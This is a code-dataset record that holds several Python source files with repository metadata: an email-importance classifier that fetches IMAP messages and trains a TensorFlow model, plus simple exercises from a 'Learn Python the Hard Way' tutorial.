steps=1)\n\n estimator.evaluate(\n input_fn=lambda: read_dataset(\n csv_dir + '/test-*.csv', tf.estimator.ModeKeys.EVAL, batch_size=32),\n steps=None)\n\n estimator.export_saved_model(\n output_dir + '/export/exporter',\n serving_input_receiver_fn,\n assets_extra=None,\n as_text=False,\n checkpoint_path=None)\n\n # train_spec = tf.estimator.TrainSpec(input_fn=lambda: fn(features), max_steps=None)\n\n # exporter = tf.estimator.LatestExporter(\n # 'exporter', serving_input_receiver_fn)\n\n # eval_spec = tf.estimator.EvalSpec(\n # input_fn=lambda: read_dataset(\n # 'data/test-*.csv', tf.estimator.ModeKeys.EVAL, batch_size=128),\n # steps=None,\n # start_delay_secs=1, # start evaluating after N seconds\n # throttle_secs=10, # evaluate every N seconds\n # exporters=exporter)\n\n # tf.estimator.train_and_evaluate(estimator, train_spec, eval_spec)\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument('--params', default='default')\n args = parser.parse_args()\n shutil.rmtree(PARAMS[args.params]['outdir'], ignore_errors=True) # start fresh each time\n train_and_evaluate(\n PARAMS[args.params]['outdir'],\n hparams={\n 'num_train_steps': 5200,\n 'feature_columns': get_feature_columns(),\n 'learning_rate': 0.01,\n 'l1_regularization': 0.0,\n 'l2_regularization': 0.3,\n # 'batch_norm': True,\n 'activation': tf.nn.relu,\n 'batch_size': 16,\n },\n csv_dir=PARAMS[args.params]['csvdir']\n )\n" }, { "alpha_fraction": 0.5958762764930725, "alphanum_fraction": 0.6010309457778931, "avg_line_length": 32.44827651977539, "blob_id": "7cb4abc2243b68ea93a906ae642eb6b8c3299750", "content_id": "478ca3fc41890116adb2001aa086979317980641", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1940, "license_type": "permissive", "max_line_length": 98, "num_lines": 58, "path": "/eyey/fetch.py", "repo_name": "dincamihai/eyey", "src_encoding": "UTF-8", "text": "import glob\nimport hashlib\nimport random\nimport shutil\nimport mailbox\nimport word2vec\nimport gensim\nimport argparse\nfrom nltk.stem.porter import PorterStemmer\nimport pandas as pd\n\nfrom utils import get_messages, log, get_label\nfrom config import get_connection\nfrom process_live import process_message\nfrom params import PARAMS\n\n\ndef clean_outputs():\n for f in glob.glob('data/*.csv'):\n try:\n shutil.os.remove(f) # start fresh each time\n except Exception as exc:\n pass\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n parser.add_argument('--params', default='default')\n args = parser.parse_args()\n clean_outputs()\n porter = PorterStemmer()\n unknown_words = []\n\n con = get_connection()\n\n for folder in PARAMS[args.params]['folders']:\n log.info(folder)\n con.select(folder, readonly=True)\n for (uid, msg, flags) in get_messages(con, folder, 'ALL'):\n log.info(\"%s %s\", uid, flags)\n label = get_label(flags)\n if label is None:\n continue\n (features, message_unknown_words) = process_message(msg, porter, label)\n split_hash = int(hashlib.md5(msg['subject'].encode('utf8')).hexdigest(), 16)\n mode = 'test' if (int(split_hash) % 10) >= 8 else 'train'\n if features is None:\n continue\n with open(PARAMS[args.params]['csvdir'] + '/{}-{}.csv'.format(mode, label), 'a') as f:\n f.write(features.to_csv(index=False, header=False))\n unknown_words += message_unknown_words\n if unknown_words:\n with open(PARAMS[args.params]['csvdir'] + '/unknown_words.csv', 'wb') as f:\n unkw_df = pd.DataFrame(\n unknown_words\n ).reset_index().groupby(0).count().sort_values(\n 'index', ascending=False)\n f.write(unkw_df.to_csv(header=False).encode('utf8'))\n" }, { "alpha_fraction": 0.6268191337585449, "alphanum_fraction": 0.6413721442222595, "avg_line_length": 25, "blob_id": "c454647ff3baf4205f80b5dfc4a1c2de55fde896", "content_id": "1c2d8ecc146adf9ed998328f8ab9413613b7009c", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 962, "license_type": "permissive", "max_line_length": 68, "num_lines": 37, "path": "/eyey/config.py", "repo_name": "dincamihai/eyey", "src_encoding": "UTF-8", "text": "import imaplib\nfrom credentials import USER, PASSWORD, SERVER\n\n\nEVAL_INTERVAL = 60\n\n\nSUBJECT_FEATURES = 10\nBODY_FEATURES = 100\n\n\nBUGZILLA_HEADERS = [\n \"X-Bugzilla-Reason\", # QAcontact\n \"X-Bugzilla-Type\", # changed\n \"X-Bugzilla-Watch-Reason\", # None\n \"X-Bugzilla-Classification\", # SUSE Manager\n \"X-Bugzilla-Product\", # SUSE Manager 3.2\n \"X-Bugzilla-Component\", # Salt\n \"X-Bugzilla-Version\", # 3.2.4\n # \"X-Bugzilla-Keywords\", # DSLA_REQUIRED, DSLA_SOLUTION_PROVIDED\n \"X-Bugzilla-Severity\", # Major\n \"X-Bugzilla-Who\", # [email protected]\n \"X-Bugzilla-Status\", # REOPENED\n \"X-Bugzilla-Priority\", # P2 - High\n \"X-Bugzilla-Assigned-To\", # [email protected]\n \"X-Bugzilla-QA-Contact\", # [email protected]\n \"X-Bugzilla-Target-Milestone\", # ---\n \"X-Bugzilla-Flags\", # \n # \"X-Bugzilla-Changed-Fields\", # \n # \"X-Bugzilla-NTS-Support-Num\", # \n]\n\n\ndef get_connection():\n con = imaplib.IMAP4_SSL(SERVER)\n con.login(USER, PASSWORD)\n return con\n" }, { "alpha_fraction": 0.45035460591316223, "alphanum_fraction": 0.45035460591316223, "avg_line_length": 22.5, "blob_id": "348d4ba2d20bf1845383da6e0df193079b8e3a08", "content_id": "3e9b75bb675f9332d3fb96e761dcec3a9d8fa7c9", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 282, "license_type": "permissive", "max_line_length": 43, "num_lines": 12, "path": "/eyey/params.py", "repo_name": "dincamihai/eyey", "src_encoding": "UTF-8", "text": "PARAMS = {\n \"default\": {\n \"folders\": [\"INBOX\"],\n \"csvdir\": \"./data\",\n \"outdir\": \"./trained\",\n },\n \"suse-manager\": {\n \"folders\": [\"INBOX/suse-manager\"],\n \"csvdir\": \"./suse-manager-data\",\n \"outdir\": \"./suse-manager-trained\",\n }\n}\n" }, { "alpha_fraction": 0.7466063499450684, "alphanum_fraction": 0.7466063499450684, "avg_line_length": 30.571428298950195, "blob_id": "72bb3fa09c479f361e9c20e367e6127e24adbdf2", "content_id": "922e25c5c3aba311e0beb70dcaf014c52bc03e0f", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 221, "license_type": "permissive", "max_line_length": 52, "num_lines": 7, "path": "/eyey/constants.py", "repo_name": "dincamihai/eyey", "src_encoding": "UTF-8", "text": "IMPORTANT = b'important'\nNOT_IMPORTANT = b'not-important'\nSHOULD_BE_IMPORTANT = b'should-be-important'\nSHOULD_BE_NOT_IMPORTANT = b'should-be-not-important'\nRETRAIN = b'retrain'\nRELABEL = b'relabel'\nDELETED = b'\\\\Deleted'\n" }, { "alpha_fraction": 0.6280701756477356, "alphanum_fraction": 0.6377192735671997, "avg_line_length": 28.230770111083984, "blob_id": "022c7e1086cad0468a3ef4d1c947bb75d7fa994e", "content_id": "c606e2d71c959b24066d0de5aa6f86fce25340e2", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1140, "license_type": "permissive", "max_line_length": 100, "num_lines": 39, "path": "/eyey/utils.py", "repo_name": "dincamihai/eyey", "src_encoding": "UTF-8", "text": "import re\nimport email\nimport logging\n\nfh = logging.FileHandler('eyey.log')\nformatter = logging.Formatter('%(asctime)s - %(module)s.%(funcName)s - %(message)s')\nfh.setFormatter(formatter)\nfh.setLevel(logging.WARNING)\nsh = logging.StreamHandler()\nsh.setFormatter(formatter)\nsh.setLevel(logging.DEBUG)\nlog = logging.getLogger('eyeylog')\nlog.addHandler(fh)\nlog.addHandler(sh)\nlog.setLevel(logging.DEBUG)\n\n\ndef get_label(flags):\n if b'should-be-important' in flags:\n return 1\n elif b'should-be-not-important' in flags:\n return 0\n else:\n return None\n\n\ndef get_messages(con, folder, search):\n # typ, data = con.fetch(b'1', \"(UID BODY[TEXT])\")\n typ, msgnums = con.search(None, search)\n for num in msgnums[0].split():\n result, data = con.fetch(num, \"(UID FLAGS RFC822)\")# '(UID FLAGS RFC822.HEADER BODY[TEXT])')\n assert result == 'OK'\n info, body = data[0]\n has_flags = re.search(\n b'FLAGS \\((?P<flags>.*)\\)', info\n )\n flags = has_flags.group('flags').split() if has_flags else []\n raw = email.message_from_bytes(body)\n yield num, raw, flags\n" }, { "alpha_fraction": 0.7591241002082825, "alphanum_fraction": 0.7591241002082825, "avg_line_length": 44.66666793823242, "blob_id": "4521c14e5e2a466efbd9c873bb69678b538d9f0b", "content_id": "320dab16dd125cda04ed288809f9b44a06e5c4e2", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 137, "license_type": "permissive", "max_line_length": 45, "num_lines": 3, "path": "/README.md", "repo_name": "dincamihai/eyey", "src_encoding": "UTF-8", "text": "python eyey/fetch.py --params default # fetch\npython eyey/model.py --params default # train\npython eyey/tagger.py --params default # run\n" } ]
11
OctopusLian/Learn-Python3-the-Hard-Way
https://github.com/OctopusLian/Learn-Python3-the-Hard-Way
722b80aeca8c3fd0e2aa1f3e7c8d2eda70c9639e
6d0c2b28d3925a817bac043314bc92695a0ae645
5a4b41bc6f6d9ef336083ae426af4c992bcb0ea0
refs/heads/main
2023-06-10T17:29:50.300239
2021-07-06T10:00:49
2021-07-06T10:00:49
381,294,407
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6137930750846863, "alphanum_fraction": 0.6896551847457886, "avg_line_length": 23.22222137451172, "blob_id": "7049ca94178c5fafc0928e771738b6e47adf68e2", "content_id": "27320edc44e769d894134c560d0410085c501953", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 435, "license_type": "no_license", "max_line_length": 59, "num_lines": 18, "path": "/src/ex40/ex40a.py", "repo_name": "OctopusLian/Learn-Python3-the-Hard-Way", "src_encoding": "UTF-8", "text": "'''\nAuthor: your name\nDate: 2021-07-06 11:57:34\nLastEditTime: 2021-07-06 13:50:24\nLastEditors: Please set LastEditors\nDescription: In User Settings Edit\nFilePath: \\Learn-Python3-the-Hard-Way\\src\\ex40\\ex40a.py\n'''\nclass MyStuff(object):\n def __init__(self):\n self.tangerine = \"And now a thousand years between\"\n \n def apple(self):\n print(\"I AM CLASSY APPLES!\")\n\nthing = MyStuff()\nthing.apple()\nprint(thing.tangerine)" }, { "alpha_fraction": 0.5990990996360779, "alphanum_fraction": 0.7387387156486511, "avg_line_length": 23.77777862548828, "blob_id": "75b215a5b990dc3e6f651ce3e677b5061e26c3f3", "content_id": "9714558229e274954fda95fdee931d2a0d73decb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 222, "license_type": "no_license", "max_line_length": 52, "num_lines": 9, "path": "/src/ex5/ex5.py", "repo_name": "OctopusLian/Learn-Python3-the-Hard-Way", "src_encoding": "UTF-8", "text": "'''\nAuthor: your name\nDate: 2021-06-29 16:49:54\nLastEditTime: 2021-06-29 16:50:14\nLastEditors: Please set LastEditors\nDescription: In User Settings Edit\nFilePath: \\Learn-Python3-the-Hard-Way\\src\\ex5\\ex5.py\n'''\nmy_name = 'Neo'" }, { "alpha_fraction": 0.5850891470909119, "alphanum_fraction": 0.6709886789321899, "avg_line_length": 18.3125, "blob_id": "8ebd873f7fa632120528779f7bf26c0f0e8f72d8", "content_id": "14d426dcb9bc7af2f588318a9756fa5cd69030f2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 617, "license_type": "no_license", "max_line_length": 54, "num_lines": 32, "path": "/src/ex18/ex18.py", "repo_name": "OctopusLian/Learn-Python3-the-Hard-Way", "src_encoding": "UTF-8", "text": "'''\nAuthor: your name\nDate: 2021-07-05 09:04:18\nLastEditTime: 2021-07-05 09:14:13\nLastEditors: Please set LastEditors\nDescription: In User Settings Edit\nFilePath: \\Learn-Python3-the-Hard-Way\\src\\ex18\\ex18.py\n'''\ndef print_two(*args):\n arg1,arg2 = args\n print(f\"arg1:{arg1},arg2:{arg2}\")\n\ndef print_two_again(arg1,arg2):\n print(f\"arg1:{arg1},arg2:{arg2}\")\n\ndef print_one(arg1):\n print(f\"arg1:{arg1}\")\n\ndef print_none():\n print(\"I got nothin'.\")\n\nprint_two(\"Zed\",\"Shaw\")\nprint_two_again(\"Zed\",\"Shaw\")\nprint_one(\"First!\")\nprint_none()\n\n'''\narg1:Zed,arg2:Shaw\narg1:Zed,arg2:Shaw\narg1:First!\nI got nothin'.\n'''" }, { "alpha_fraction": 0.7039711475372314, "alphanum_fraction": 0.7184115648269653, "avg_line_length": 20.346153259277344, "blob_id": "cac4ba1a8aff91e48ca185824cd7ff27fea82b2b", "content_id": "5bc576175afb469618833aae27470e6b32c45a68", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 554, "license_type": "no_license", "max_line_length": 38, "num_lines": 26, "path": "/src/ex15/ex15.py", "repo_name": "OctopusLian/Learn-Python3-the-Hard-Way", "src_encoding": "UTF-8", "text": "from sys import argv\nscript,filename = argv\ntxt = open(filename)\n\nprint(f\"Here's your file {filename}:\")\nprint(txt.read())\n\nprint(\"Type the filename agagin:\")\nfile_again = input(\"> \")\n\ntxt_again = open(file_again)\n\nprint(txt_again.read())\n\n'''\npython .\\ex15.py ex15_sample.txt\nHere's your file ex15_sample.txt:\nThis is stuff I typed into a file.\nIt is really cool stuff.\nLots and lots of fun to have in here.\nType the filename agagin:\n> ex15_sample.txt\nThis is stuff I typed into a file.\nIt is really cool stuff.\nLots and lots of fun to have in here.\n'''" }, { "alpha_fraction": 0.6363636255264282, "alphanum_fraction": 0.6951871514320374, "avg_line_length": 17.725000381469727, "blob_id": "dbe533c87245762591b8cd6b5c27ad48618c2d0a", "content_id": "b403c2cb6e130b0baf5378ac4684ee17c0d7ba43", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 748, "license_type": "no_license", "max_line_length": 50, "num_lines": 40, "path": "/src/ex16/ex16.py", "repo_name": "OctopusLian/Learn-Python3-the-Hard-Way", "src_encoding": "UTF-8", "text": "from sys import argv\nscript,filename = argv\n\nprint(f\"We're going to erase {filename}.\")\n\ninput(\"?\")\n\nprint(\"Opening the file...\")\ntarget = open(filename,'w')\n\nprint(\"Now I'm going to ask you for three lines.\")\n\nline1 = input(\"line 1:\")\nline2 = input(\"line 2:\")\nline3 = input(\"line 3:\")\n\nprint(\"I'm going to write these to the file.\")\n\ntarget.write(line1)\ntarget.write(\"\\n\")\ntarget.write(line2)\ntarget.write(\"\\n\")\ntarget.write(line3)\ntarget.write(\"\\n\")\n\nprint(\"And finally,we close it.\")\ntarget.close()\n\n'''\npython .\\ex16.py test.txt\nWe're going to erase test.txt.\n?\nOpening the file...\nNow I'm going to ask you for three lines.\nline 1:111111111\nline 2:222222222\nline 3:333333333333\nI'm going to write these to the file.\nAnd finally,we close it.\n'''" }, { "alpha_fraction": 0.6948453783988953, "alphanum_fraction": 0.7422680258750916, "avg_line_length": 25.962963104248047, "blob_id": "7f1c6d84f35e87e2e58f5eb7a6c30685d1f72ff5", "content_id": "30a4c5c92990bfbfde03a5786f954cf79b6881a2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1455, "license_type": "no_license", "max_line_length": 63, "num_lines": 54, "path": "/src/ex19/ex19.py", "repo_name": "OctopusLian/Learn-Python3-the-Hard-Way", "src_encoding": "UTF-8", "text": "'''\nAuthor: your name\nDate: 2021-07-05 09:16:26\nLastEditTime: 2021-07-05 09:24:08\nLastEditors: Please set LastEditors\nDescription: In User Settings Edit\nFilePath: \\Learn-Python3-the-Hard-Way\\src\\ex19\\ex19.py\n'''\ndef cheese_and_crackers(cheese_count,boxes_of_crackers):\n print(f\"You have {cheese_count} cheeses!\")\n print(f\"You have {boxes_of_crackers} boxes of crackers!\")\n print(\"Man that's enough for a party!\")\n print(\"Get a blanket.\\n\")\n\nprint(\"We can just give the function numbers directly:\")\ncheese_and_crackers(20,30)\n\nprint(\"OR,we can use variables from our script:\")\namount_of_cheese = 10\namount_of_crackers = 50\n\ncheese_and_crackers(amount_of_cheese,amount_of_crackers)\n\nprint(\"We can even do math inside too:\")\ncheese_and_crackers(10+20,5+6)\n\nprint(\"And we can combine the two,variables and math:\")\ncheese_and_crackers(amount_of_cheese+100,amount_of_crackers+10)\n\n'''\nWe can just give the function numbers directly:\nYou have 20 cheeses!\nYou have 30 boxes of crackers!\nMan that's enough for a party!\nGet a blanket.\n\nOR,we can use variables from our script:\nYou have 10 cheeses!\nYou have 50 boxes of crackers!\nMan that's enough for a party!\nGet a blanket.\n\nWe can even do math inside too:\nYou have 30 cheeses!\nYou have 11 boxes of crackers!\nMan that's enough for a party!\nGet a blanket.\n\nAnd we can combine the two,variables and math:\nYou have 110 cheeses!\nYou have 60 boxes of crackers!\nMan that's enough for a party!\nGet a blanket.\n'''" }, { "alpha_fraction": 0.6216216087341309, "alphanum_fraction": 0.7413127422332764, "avg_line_length": 22.636363983154297, "blob_id": "d15f5e64874720505e2cdc3f18ddd748149be6ec", "content_id": "cedf8dc92b0a1bb0d91eb7a9aff96ab167119bbc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 271, "license_type": "no_license", "max_line_length": 52, "num_lines": 11, "path": "/src/ex2/ex2.py", "repo_name": "OctopusLian/Learn-Python3-the-Hard-Way", "src_encoding": "UTF-8", "text": "'''\nAuthor: your name\nDate: 2021-06-29 16:37:57\nLastEditTime: 2021-06-29 16:44:06\nLastEditors: Please set LastEditors\nDescription: In User Settings Edit\nFilePath: \\Learn-Python3-the-Hard-Way\\src\\ex2\\ex2.py\n'''\n# A comment\n# Anything after\nprint(\"hello\") #这是一个注释" }, { "alpha_fraction": 0.6284403800964355, "alphanum_fraction": 0.6284403800964355, "avg_line_length": 14.642857551574707, "blob_id": "02df0b0f5d6503017ef3cb9a5dab86938c51ca14", "content_id": "862935346b6d51a1511c901dde7d0b91f8c82043", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 218, "license_type": "no_license", "max_line_length": 36, "num_lines": 14, "path": "/src/ex10/ex10.py", "repo_name": "OctopusLian/Learn-Python3-the-Hard-Way", "src_encoding": "UTF-8", "text": "tabby_cat = \"\\tI'm tabbed in.\"\npersian_cat = \"I'm split\\non a line\"\nbackslash_cat = \"I'm \\\\a \\\\ cat.\"\n\nprint(tabby_cat)\nprint(persian_cat)\nprint(backslash_cat)\n\n'''\n\tI'm tabbed in.\nI'm split\non a line\nI'm \\a \\ cat.\n'''" }, { "alpha_fraction": 0.6184738874435425, "alphanum_fraction": 0.7429718971252441, "avg_line_length": 24, "blob_id": "63f3edd958f18b03436ad6a9d0d224de49fc5588", "content_id": "545e042f7eb88d241119fcef546787743d8c5af4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 249, "license_type": "no_license", "max_line_length": 52, "num_lines": 10, "path": "/src/ex1/ex1.py", "repo_name": "OctopusLian/Learn-Python3-the-Hard-Way", "src_encoding": "UTF-8", "text": "'''\nAuthor: your name\nDate: 2021-06-29 16:35:54\nLastEditTime: 2021-06-29 16:36:31\nLastEditors: Please set LastEditors\nDescription: In User Settings Edit\nFilePath: \\Learn-Python3-the-Hard-Way\\src\\ex1\\ex1.py\n'''\nprint(\"Hello World!\")\nprint(\"Hello Again\")" }, { "alpha_fraction": 0.5508819818496704, "alphanum_fraction": 0.644504725933075, "avg_line_length": 18.421052932739258, "blob_id": "a3cd1e18e01b2c5ea87ffd6d38387236346c52d7", "content_id": "4c9067dd25a5ee634c49ef19d515fe518dd8b449", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 737, "license_type": "no_license", "max_line_length": 59, "num_lines": 38, "path": "/src/ex21/ex21.py", "repo_name": "OctopusLian/Learn-Python3-the-Hard-Way", "src_encoding": "UTF-8", "text": "'''\nAuthor: your name\nDate: 2021-07-05 15:01:54\nLastEditTime: 2021-07-06 09:32:59\nLastEditors: Please set LastEditors\nDescription: In User Settings Edit\nFilePath: \\Learn-Python3-the-Hard-Way\\src\\ex21\\ex21.py\n'''\ndef add(a,b):\n print(f\"ADDING {a} + {b}\")\n return a+b\n\ndef subtract(a,b):\n print(f\"SUBTRACTING {a} - {b}\")\n return a-b\n\ndef multiply(a,b):\n print(f\"MULTIPLYING {a} * {b}\")\n return a*b\n\ndef divide(a,b):\n print(f\"DIVIDEING {a} / {b}\")\n return a/b\n\nage = add(30,5)\nheight = subtract(78,4)\nweight = multiply(90,2)\niq = divide(100,2)\n\nprint(f\"Age:{age},Height:{height},Weight:{weight},IQ:{iq}\")\n\n'''\nADDING 30 + 5\nSUBTRACTING 78 - 4\nMULTIPLYING 90 * 2\nDIVIDEING 100 / 2\nAge:35,Height:74,Weight:180,IQ:50.0\n'''" }, { "alpha_fraction": 0.6925926208496094, "alphanum_fraction": 0.6925926208496094, "avg_line_length": 14.941176414489746, "blob_id": "e902b31939e38f90955d05766e52b98f77569499", "content_id": "947f5e23388658b154fac6ebaedb7a83dff70ec8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 270, "license_type": "no_license", "max_line_length": 49, "num_lines": 17, "path": "/src/ex9/ex9.py", "repo_name": "OctopusLian/Learn-Python3-the-Hard-Way", "src_encoding": "UTF-8", "text": "days = \"Mon Tue Wed Thu Fri Sat Sun\"\nmonths = \"Jan\\nFeb\\nMar\\nApr\\nMay\\nJun\\nJul\\nAug\"\n\nprint(\"Here are the days: \",days)\nprint(\"Here are the months: \",months)\n\n'''\nHere are the days: Mon Tue Wed Thu Fri Sat Sun\nHere are the months: Jan\nFeb\nMar\nApr\nMay\nJun\nJul\nAug\n'''" }, { "alpha_fraction": 0.6089743375778198, "alphanum_fraction": 0.7243589758872986, "avg_line_length": 23.076923370361328, "blob_id": "724a89109d6c38dc30559db1d1090c59ddffb563", "content_id": "6b14f7fba1838ec2d69b4edb2aa66701f0adc76f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 312, "license_type": "no_license", "max_line_length": 52, "num_lines": 13, "path": "/src/ex4/ex4.py", "repo_name": "OctopusLian/Learn-Python3-the-Hard-Way", "src_encoding": "UTF-8", "text": "'''\nAuthor: your name\nDate: 2021-06-29 16:47:44\nLastEditTime: 2021-06-29 16:49:30\nLastEditors: Please set LastEditors\nDescription: In User Settings Edit\nFilePath: \\Learn-Python3-the-Hard-Way\\src\\ex4\\ex4.py\n'''\ncars = 100\nspace_in_a_car = 4.0\n\nprint(\"There are\",cars,\"cars available.\")\nprint(\"Print:\",space_in_a_car)" }, { "alpha_fraction": 0.5761589407920837, "alphanum_fraction": 0.7185430526733398, "avg_line_length": 24.25, "blob_id": "ba1abb06d63c356c15d44b05b1198d78b10dbdd6", "content_id": "e25e5a08b3d8443e4cd92341bf547224ab46a487", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 302, "license_type": "no_license", "max_line_length": 52, "num_lines": 12, "path": "/src/ex3/ex3.py", "repo_name": "OctopusLian/Learn-Python3-the-Hard-Way", "src_encoding": "UTF-8", "text": "'''\nAuthor: your name\nDate: 2021-06-29 16:44:52\nLastEditTime: 2021-06-29 16:46:19\nLastEditors: Please set LastEditors\nDescription: In User Settings Edit\nFilePath: \\Learn-Python3-the-Hard-Way\\src\\ex3\\ex3.py\n'''\nprint(\"I will now count my chickens:\")\n\nprint(\"Hens\",25+30/ 6)\nprint(\"Roosters\",100-25 * 3 % 4)" }, { "alpha_fraction": 0.5647059082984924, "alphanum_fraction": 0.6823529601097107, "avg_line_length": 27.44444465637207, "blob_id": "94bf101effef3f20e064a5dc4602eb38fa15ac1b", "content_id": "8bce449dc198f4a6ec7d39daabba80092089e34b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 255, "license_type": "no_license", "max_line_length": 51, "num_lines": 9, "path": "/README.md", "repo_name": "OctopusLian/Learn-Python3-the-Hard-Way", "src_encoding": "UTF-8", "text": "<!--\n * @Author: your name\n * @Date: 2021-06-29 16:33:40\n * @LastEditTime: 2021-06-29 16:34:20\n * @LastEditors: Please set LastEditors\n * @Description: In User Settings Edit\n * @FilePath: \\Learn-Python3-the-Hard-Way\\README.md\n-->\n# Learn Python3 the Hard Way" }, { "alpha_fraction": 0.6931464076042175, "alphanum_fraction": 0.6993769407272339, "avg_line_length": 20.433332443237305, "blob_id": "26596c34190e4dbcc4de22023113aaf0e41c873c", "content_id": "337d798f8f1032ff2cb7a7bafcbe7a0ea6fb8f27", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 642, "license_type": "no_license", "max_line_length": 48, "num_lines": 30, "path": "/src/ex14/ex14.py", "repo_name": "OctopusLian/Learn-Python3-the-Hard-Way", "src_encoding": "UTF-8", "text": "from sys import argv\n\nscript,user_name = argv\nprompt = ' > '\n\nprint(f\"Hi {user_name},I'm the {script} script\")\nprint(f\"Do you like me {user_name}?\")\nlives = input(prompt)\n\nprint(\"What kind of computer do you have?\")\ncomputer = input(prompt)\n\nprint(f\"\"\"\nAlright,so you said {lives} about liking me.\nYou live in {lives}.Not sure where that is.\nAnd you have a {computer} computer.Nice.\n\"\"\")\n\n'''\npython .\\ex14.py Zed\nHi Zed,I'm the .\\ex14.py script\nDo you like me Zed?\n > Yes\nWhat kind of computer do you have?\n > Chengdu\n\nAlright,so you said Yes about liking me.\nYou live in Yes.Not sure where that is.\nAnd you have a Chengdu computer.Nice.\n'''" }, { "alpha_fraction": 0.5903614163398743, "alphanum_fraction": 0.7228915691375732, "avg_line_length": 23.899999618530273, "blob_id": "f2e0dd0c9ba75c317a2b22b652feda120891fabe", "content_id": "eaa3f458dc5ed456ad8029b20625554cb31cfbd4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 249, "license_type": "no_license", "max_line_length": 55, "num_lines": 10, "path": "/src/ex40/mystuff.py", "repo_name": "OctopusLian/Learn-Python3-the-Hard-Way", "src_encoding": "UTF-8", "text": "'''\nAuthor: your name\nDate: 2021-07-06 11:56:03\nLastEditTime: 2021-07-06 11:56:30\nLastEditors: Please set LastEditors\nDescription: In User Settings Edit\nFilePath: \\Learn-Python3-the-Hard-Way\\src\\ex40\\ex40a.py\n'''\ndef apple():\n print(\"I AM APPLES!\")\n" }, { "alpha_fraction": 0.5933014154434204, "alphanum_fraction": 0.7511961460113525, "avg_line_length": 25.125, "blob_id": "5feb7848fc9f9b4060569964f0a2bad6f61b8159", "content_id": "4c14a96a2a06bded38e5f36b166a5070407765c4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 209, "license_type": "no_license", "max_line_length": 54, "num_lines": 8, "path": "/src/ex23/ex23.py", "repo_name": "OctopusLian/Learn-Python3-the-Hard-Way", "src_encoding": "UTF-8", "text": "'''\nAuthor: your name\nDate: 2021-07-06 09:34:06\nLastEditTime: 2021-07-06 09:34:06\nLastEditors: Please set LastEditors\nDescription: In User Settings Edit\nFilePath: \\Learn-Python3-the-Hard-Way\\src\\ex23\\ex23.py\n'''\n" }, { "alpha_fraction": 0.62109375, "alphanum_fraction": 0.75, "avg_line_length": 24.700000762939453, "blob_id": "44cfbabfd38df6088b9266ff98f64b38083abc3b", "content_id": "d23da908480b70971211e84b519f010a6f84d76b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 256, "license_type": "no_license", "max_line_length": 54, "num_lines": 10, "path": "/src/ex24/ex24.py", "repo_name": "OctopusLian/Learn-Python3-the-Hard-Way", "src_encoding": "UTF-8", "text": "'''\nAuthor: your name\nDate: 2021-07-06 15:48:47\nLastEditTime: 2021-07-06 15:49:28\nLastEditors: Please set LastEditors\nDescription: In User Settings Edit\nFilePath: \\Learn-Python3-the-Hard-Way\\src\\ex24\\ex24.py\n'''\nprint(\"Let's practice everything\")\nprint(\"You\")" }, { "alpha_fraction": 0.6982758641242981, "alphanum_fraction": 0.727011501789093, "avg_line_length": 22.266666412353516, "blob_id": "25485dfd82e4c3696fc2cad56e40a22b3e75a701", "content_id": "ab5b05d37bf9fa3155ff399d20de47f12df15aa3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 348, "license_type": "no_license", "max_line_length": 37, "num_lines": 15, "path": "/src/ex13/ex13.py", "repo_name": "OctopusLian/Learn-Python3-the-Hard-Way", "src_encoding": "UTF-8", "text": "from sys import argv\nscript,first,second,third = argv\n\nprint(\"The script is called:\",script)\nprint(\"The first is called:\",first)\nprint(\"The second is called:\",second)\nprint(\"The third is called:\",third)\n\n'''\npython .\\ex13.py 1st 2nd 3rd\nThe script is called: .\\ex13.py\nThe first is called: 1st\nThe second is called: 2nd\nThe third is called: 3rd\n'''" } ]
19
carlosmarin96/contacts-flask-api
https://github.com/carlosmarin96/contacts-flask-api
874376e72c17b16cba8697749c7a539e6caf202a
aa550d8069d604795de95702d5e8394a4323c0d7
03735a1a15f713c9aa92ed0e7b5d82663a77c82b
refs/heads/main
2023-04-19T16:29:01.269039
2021-05-08T23:16:49
2021-05-08T23:16:49
365,383,238
0
0
null
null
null
null
null
